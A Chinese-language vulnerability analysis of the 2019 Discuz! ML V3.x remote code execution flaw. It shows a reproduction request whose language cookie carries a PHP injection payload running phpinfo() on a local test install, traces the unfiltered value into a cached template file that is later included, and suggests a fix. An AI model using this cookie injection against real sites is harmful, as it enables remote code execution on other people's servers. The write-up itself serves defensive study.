漏洞分析 | Discuz ML! V3.x 代码注入漏洞

2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞。

2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过修改请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行。

0×00 漏洞复现环境

平台环境(windows) : phpStudy(2018)  php 5.5.38 + apache

源代码http://discuz.ml/download


0×01 漏洞复现

访问http://127.0.0.1/discuz/upload/forum.php 使用burpsuite 对请求包修改,在Cookie字段中DeBP_2132_language参数写入恶意代码 ‘.phpinfo().’ 。

整体请求如下:

GET /discuz/upload/forum.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: DeBP_2132_saltkey=PpJ0DNbK; DeBP_2132_language=sc’.phpinfo().’; DeBP_2132_lastvisit=1563773757; DeBP_2132_sid=MjB6U2; DeBP_2132_lastact=1563777365%09home.php%09misc; DeBP_2132_onlineusernum=1; DeBP_2132_sendmail=1

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0


0.webp.jpg

在服务器返回的请求中发现我们写入的恶意代码成功得到了执行。

执行.webp.jpg

0×02 漏洞分析

打开forum.php文件查看24 行包含了 ‘./source/class/class_core.php’文件。


那么来查看 class_core.php文件,在文件第33行的时候调用了creatapp() 方法。


在查看creatapp方法中如果私有属性$_app不是一个对象的话将调用discuz_application的instance()方法。

方  1.webp.jpg

在instance()方法中对自身类进行了实例化。

实例.webp.jpg

而在discuz_application类的构造方法中_init_input()方法会将cookie中language的值赋给$lan变量。

变量.webp.jpg


继续查看后发现最终会将值传递给DISCUZ_LANG。

lang.webp.jpg


扭头回到forum.php文件中继续看,在第78行的时候包含了forum_index.php文件。

php.webp.jpg

查看forum_index.php文件 在432行的时候它会包含通过template方法生成的恶意文件。

分析template方法在function_core.php文件中第644行中,$cachefile变量 即缓存文件名是通过拼接几个变量的值得来的。

值得.webp.jpg

接着在653行调用了checktplrefresh方法。

653.webp.jpg

在checktplrefresh 方法中调用template类中的parse_template方法来生成缓存文件。

缓存.webp.jpg

在parse_template方法中读取模板文件到template变量。

变量.webp.jpg

在parse_template方法中第74行的时候将可控变量cachefile拼接后赋给了headeradd变量。

head.webp.jpg

84行的时候又将headeradd拼接到了template中。

所以就形成了以下代码。

代码.webp.jpg

最终写入本地。

并且由forum_index.php文件的第432行代码 对template方法生成的缓存文件包含,使得在cookie中恶意构造的代码得到执行。


0×03 修复建议

针对缓存的缓存文件名进行固定。

qrcode_for_gh_223e082fe8a7_430.jpg

取消
Loading...

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php